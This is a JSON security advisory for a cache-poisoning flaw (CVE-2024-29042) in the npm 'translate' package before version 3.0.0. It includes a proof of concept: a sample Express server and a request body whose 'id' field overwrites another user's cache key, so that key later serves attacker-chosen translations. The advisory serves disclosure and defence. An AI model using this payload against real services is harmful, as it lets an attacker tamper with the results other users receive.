{"id":"GHSA-882j-4vj5-7vmj","summary":"Cache Poisoning Vulnerability","details":"### Summary\nAn attacker controlling the second variable of the `translate` function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.\n\n### Details\nThe `opt.id` parameter allows the overwriting of the cache key. If an attacker sets the `id` variable to the cache key that would be generated by another user, they can choose the response that user gets served.\n\n### PoC\nTake the following simple server allowing users to supply text and the language to translate to.\n```javascript\nimport translate from \"translate\";\nimport express from 'express';\n\nconst app = express();\napp.use(express.json());\n\napp.post('/translate', async (req, res) =\u003e {\n  const { text, language } = req.body;\n  const result = await translate(text, language);\n  return res.json(result);\n});\n\nconst port = 3000;\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nWe can send the following request to poison the cache:\n```\n{\"text\":\"I hate you\", \"language\":{\"to\":\"nl\",\"id\":\"undefined:en:nl:google:I love you\"}}\n```\n![Poisoning the cache](https://user-images.githubusercontent.com/44903767/285421743-ccfa3d9d-24cf-47b7-b805-0e4034cec82e.png)\n\nNow, any user that attempts to translate \"I love you\" to Dutch, will get \"I hate you\" in Dutch as the response.\n![The victim gets our poisoned data](https://user-images.githubusercontent.com/44903767/285422033-b3853ca2-8a5a-4875-91e8-ba2ef0258bc6.png)\n\n\n### Impact\nAn attacker can control the results other users may get\n","aliases":["CVE-2024-29042"],"modified":"2026-09-10T03:50:00.241167508Z","published":"2024-03-22T16:57:21Z","database_specific":{"github_reviewed_at":"2024-03-22T16:57:21Z","nvd_published_at":"2024-03-22T17:15:07Z","cwe_ids":["CWE-20"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/franciscop/translate/security/advisories/GHSA-882j-4vj5-7vmj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-29042"},{"type":"WEB","url":"https://github.com/franciscop/translate/commit/7a2bf8b9f05f7c45c09683973ef4d8e995804aa4"},{"type":"WEB","url":"https://github.com/franciscop/translate/commit/cc1ba03078102f83e0503a96f1a081489bb865d3"},{"type":"PACKAGE","url":"https://github.com/franciscop/translate"}],"affected":[{"package":{"name":"translate","ecosystem":"npm","purl":"pkg:npm/translate"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-882j-4vj5-7vmj/GHSA-882j-4vj5-7vmj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}